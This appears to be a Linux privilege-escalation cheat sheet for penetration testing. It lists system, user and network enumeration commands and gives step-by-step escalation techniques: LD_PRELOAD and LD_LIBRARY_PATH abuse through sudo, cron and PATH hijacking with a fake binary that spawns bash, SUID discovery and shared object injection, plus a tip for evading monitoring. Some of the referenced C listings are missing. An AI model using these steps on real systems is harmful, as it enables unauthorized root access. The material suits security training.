This will print information about operating system and kernel related information , useful in kernel exploitation
cat /etc/lsb-release
cat /etc/issue
cat /proc/version
hostname
uname -a
Users -
/etc/passwd
The passwd file stores essential user account information required during login. The passwd file is stored in the /etc directory and contains information such as the user ID, group ID, home directory and the path to the command shell. An ‘x’ character means that the encrypted password is stored in the /etc/shadow file.
The following commands can be used to retrieve information about the current user and active session:
cat /etc/passwd
id
who
w
Network Information
Network Adapters -
Will print adapter target connected with , this will give us insight of how many networks are connected with box and also information about internal network if available
ifconfig
ip a
Print Routing tables
Information related different network routes , give us information about target network reach , useful in pivoting through different networks
route
Print the active connections
This will list all connections going on withing target system , this way we can determine what services are running and will be useful for us to extract important information
netstat -antup
Print the arp entries
arp -e
/proc/net/
more discreet, all the information given by the above commands can be found by looking into the files under /proc/net, and this approach is less likely to trigger monitoring or other stuff
cat /proc/net/*
Application and Services
Retrieve information about services
knowing which services are running with root privileges can be very important for priv esc because exploiting them will result in root-level access
Service exploits can be found using Searchsploit, Google, and GitHub, just like with Kernel exploits.
ps aux
ps aux | grep root
ps aux | grep "^root"
<program> --version
<program> -v
dpkg -l | grep <program>
# On Debian-like distributions, dpkg can show installed programs and their version
rpm –qa | grep <program>
# On systems that use rpm, the following achieves the same
To retrieve installed applications
important to check if any application that is installed vulnerable to any known exploits
dpkg -l
# Debian OS
rpm -qa
# Fedora based OS
pacman -Qe
# Arch based OS
pkginfo
# SOlaris
cd /var/db/pkg/ && ls -d */*
# Gentoo
Sudoers
Make sure you pay attention to the groups to which the privileged user belongs. One especially important group is the sudo (‘Super User Do’) group. A user that is a member of the sudo group is able to execute commands in the context of the root user without providing the root password – depending on the settings in the sudoer file you may only need to enter the password for the current user or none at all.
Useful commands
# Run a program using sudo:
sudo <program>
# Run a program as a specific user:
sudo -u <username><program>
# List programs a user is allowed to run:
sudo -l
# Login as another user:
sudo -i -u scriptmanager
LD_PRELOAD
LD_PRELOAD is an environment variable which can be set to the path of a shared object (.so) file.
When set, the shared object will be loaded before any others.
By creating a custom shared object and creating an init() function, we can execute code as soon as the object is loaded.
Exploitation -
1. Run sudo -l to check if env_keepoption is set
2. Create a file (preload.c) with the following contents:
4. Run any allowed program using sudo, while setting the LD_PRELOAD environment variable to the full path of the preload.so file:
sudo LD_PRELOAD=/tmp/preload.so apache2
LD_LIBRARY_PATH
The LD_LIBRARY_PATH environment variable contains a set of directories where shared libraries are searched for first.
The ldd command can be used to print the shared libraries used by a program:
ldd /usr/sbin/apache2
By creating a shared library with the same name as one used by a program, and setting LD_LIBRARY_PATH to its parent directory, the program will load our shared library instead.
4. Run apache2 using sudo, while setting the LD_LIBRARY_PATH environment variable to the current path (where we compiled library_path.c):
sudo LD_LIBRARY_PATH=. apache2
Cron Jobs
Cron jobs are programs or scripts which users can schedule to run at specific times or intervals.
Cron jobs run with the security level of the user who owns them.
cat /etc/crontab
crontab -e
Weak File Permission
Misconfiguration of file permissions associated with cron jobs can lead to easy privilege escalation. If we can write to a program or script which gets run as part of a cron job, we can replace it with our own code (Most of time reverse shell)
ls -la <Path_of_file_using_in_cronjob>
PATH Environment Variable
The crontab PATH environment variable is by default set to /usr/bin:/bin
The PATH variable can be overwritten in the crontab file.
If a cron job program/script does not use an absolute path, and one of the PATH directories is writable by our user, we may be able to create a program/script with the same name as the cron job.
Steps to check -
1. First print $PATH variable to see if we can manipulate it according to our need
2. Adding our own path to $PATH where we can write our own malicious binary , in this example /tmp directory
export PATH=/tmp:$PATH
it will add /tmp in front of PATH variable so now when cron job run , it will start looking for that particular binary through $PATH variable and since we put our own path in starting , it will first look for that file in that directory so we ned to put our own malicious binary with same name in our directory
3. Put your malicious binary in directory which you added to $PATH
cd /tmp
echo "/bin/bash" > <binary>
chmod +x <binary>
find / -perm -4000 2>/dev/null
# Print all suid
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
# Print both SUID and SGID
Shared Object Injection
When a program is executed, it will try to load the shared objects it requires.
By using a program called strace, we can track these system calls and determine whether any shared objects were not found.
If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.
Exploitation -
1. Find SUID/SGID files on the target:
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
...
The suid-so file should execute with root user permissions.
2. Run strace on the SUID file:
$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
...
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
The libcalc.so shared object could not be found, and the program is looking in our user’s home directory, which we can write to.
3. Create the /home/user/.config directory
4. Create the file libcalc.c with the following contents:
If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.
Example -
we came with one suid that executing some other binaries
find / -perm -u=s -type f 2>/dev/null
so it's executing /bin/ps binary to get process status
, so what we can do is , make our own ps binary containing malicious payload and execute it with adding PATH to it
Creating malicious binary -
cd /tmp
echo "/bin/bash" > ps
chmod +x ps
Exporting current path in front -
echo $PATH
export PATH=/tmp:$PATH
it will add /tmp in front of PATH variable so now if someone execute that binary it will try to run ps and thus our own ps binary executed giving us root access
find /etc -maxdepth 1 -writable -type f
# Search for writable files in /etc
find /etc -maxdepth 1 -readable -type f
# Search for readable files in /etc
